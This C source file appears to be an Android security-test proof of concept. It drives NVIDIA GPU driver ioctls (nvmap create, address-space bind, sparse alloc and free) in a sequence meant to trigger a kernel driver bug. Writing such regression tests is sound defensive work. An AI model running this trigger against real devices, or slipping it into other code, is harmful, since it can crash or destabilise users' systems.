1 /*
2 * Copyright (C) 2017 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #define _GNU_SOURCE
17 #include <stdio.h>
18 #include <stdlib.h>
19 #include <pthread.h>
20 #include <sys/ioctl.h>
21 #include <sys/mman.h>
22 #include <errno.h>
23 #include <sys/stat.h>
24 #include <fcntl.h>
25 #include <sched.h>
26 #include <sys/types.h>
27 #include <signal.h>
28 #include <unistd.h>
29 // for syscall
30 #include <sys/syscall.h>
31 // for futex
32 #include <linux/futex.h>
33 #include <sys/time.h>
34
35 #define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
36 #define ERR(fmt, ...) printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
37 #define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
38
39 #define NVMAP_IOC_MAGIC 'N'
40 struct nvmap_create_handle {
41 union {
42 __u32 id; /* FromId */
43 __u32 size; /* CreateHandle */
44 __s32 fd; /* DmaBufFd or FromFd */
45 };
46 __u32 handle; /* returns nvmap handle */
47 };
48 #define NVMAP_IOC_CREATE _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
49
50 struct nvmap_alloc_handle {
51 __u32 handle; /* nvmap handle */
52 __u32 heap_mask; /* heaps to allocate from */
53 __u32 flags; /* wb/wc/uc/iwb etc. */
54 __u32 align; /* min alignment necessary */
55 };
56 #define NVMAP_IOC_ALLOC _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
57
set_affinity(int num)58 static int set_affinity(int num)
59 {
60 int ret = 0;
61 cpu_set_t mask;
62 CPU_ZERO(&mask);
63 CPU_SET(num, &mask);
64 ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
65 return ret;
66 }
67
68 #define SZ_128K 0x00020000
69 #define NVHOST_AS_IOCTL_MAGIC 'A'
70 struct nvhost_as_bind_channel_args {
71 __u32 channel_fd; /* in */
72 } __packed;
73 #define NVHOST_AS_IOCTL_BIND_CHANNEL \
74 _IOWR(NVHOST_AS_IOCTL_MAGIC, 1, struct nvhost_as_bind_channel_args)
75
76 struct nvhost_as_free_space_args {
77 __u64 offset; /* in, byte address */
78 __u32 pages; /* in, pages */
79 __u32 page_size; /* in, bytes */
80 };
81 #define NVHOST_AS_IOCTL_FREE_SPACE \
82 _IOWR(NVHOST_AS_IOCTL_MAGIC, 3, struct nvhost_as_free_space_args)
83
84 #define NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE 0x2
85 struct nvhost_as_alloc_space_args {
86 __u32 pages; /* in, pages */
87 __u32 page_size; /* in, bytes */
88 __u32 flags; /* in */
89 __u32 padding; /* in */
90 union {
91 __u64 offset; /* inout, byte address valid iff _FIXED_OFFSET */
92 __u64 align; /* in, alignment multiple (0:={1 or n/a}) */
93 } o_a;
94 };
95 #define NVHOST_AS_IOCTL_ALLOC_SPACE \
96 _IOWR(NVHOST_AS_IOCTL_MAGIC, 6, struct nvhost_as_alloc_space_args)
97
98 #define CLOSE_THREAD_NUM 1
99 #define TRY_TIMES 2
100 #define NVMAPDEV "/dev/nvmap"
101 #define GPUDEV "/dev/nvhost-gpu"
102 #define ASDEV "/dev/nvhost-as-gpu"
103 pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
104 int nvmap, gpu, asgpu;
105 volatile int attack;
106
main(void)107 int main(void)
108 {
109 int i, j, ret;
110 int dma1, dma2;
111 struct nvmap_create_handle args = {
112 .size = PAGE_SIZE
113 };
114 struct nvhost_as_bind_channel_args as_bind = { 0 };
115 struct nvhost_as_alloc_space_args alloc = {
116 .pages = 1,
117 .page_size = SZ_128K,
118 .flags = NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE
119 };
120 struct nvhost_as_free_space_args free_arg = {
121 .pages = 1,
122 .page_size = SZ_128K
123 };
124
125 /* bind_cpu */
126 set_affinity(0);
127
128 nvmap = open(NVMAPDEV, O_RDONLY);
129 if(nvmap == -1) {
130 ERR("[-] open %s failed", NVMAPDEV);
131 goto __cleanup;
132 }
133 gpu = open(GPUDEV, O_RDONLY);
134 if(gpu == -1) {
135 ERR("[-] open %s failed", GPUDEV);
136 goto __cleanup;
137 }
138 asgpu = open(ASDEV, O_RDONLY);
139 if(asgpu == -1) {
140 ERR("[-] open %s failed", ASDEV);
141 goto __cleanup;
142 }
143 // bind the channel
144 as_bind.channel_fd = gpu;
145 ret = ioctl(asgpu, NVHOST_AS_IOCTL_BIND_CHANNEL, &as_bind);
146 if(ret == -1) {
147 ERR("[-] NVHOST_AS_IOCTL_BIND_CHANNEL failed");
148 goto __cleanup;
149 } else {
150 //LOG("[+] ioctl OK, channel is bond");
151 }
152
153 #if 1
154 // prepare
155 ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
156 if(ret) {
157 ERR("[-] NVMAP_IOC_CREATE failed");
158 goto __cleanup;
159 }
160 #endif
161
162 ret = ioctl(asgpu, NVHOST_AS_IOCTL_ALLOC_SPACE, &alloc);
163 if(ret) {
164 ERR("[-] NVHOST_AS_IOCTL_ALLOC_SPACE failed");
165 goto __cleanup;
166 }
167 free_arg.offset = alloc.o_a.offset;
168 ret = ioctl(asgpu, NVHOST_AS_IOCTL_FREE_SPACE, &free_arg);
169 if(ret) {
170 ERR("[-] NVHOST_AS_IOCTL_FREE_SPACE failed");
171 goto __cleanup;
172 }
173
174 __cleanup:
175 close(nvmap);
176 close(gpu);
177 close(asgpu);
178 return 0;
179 }
180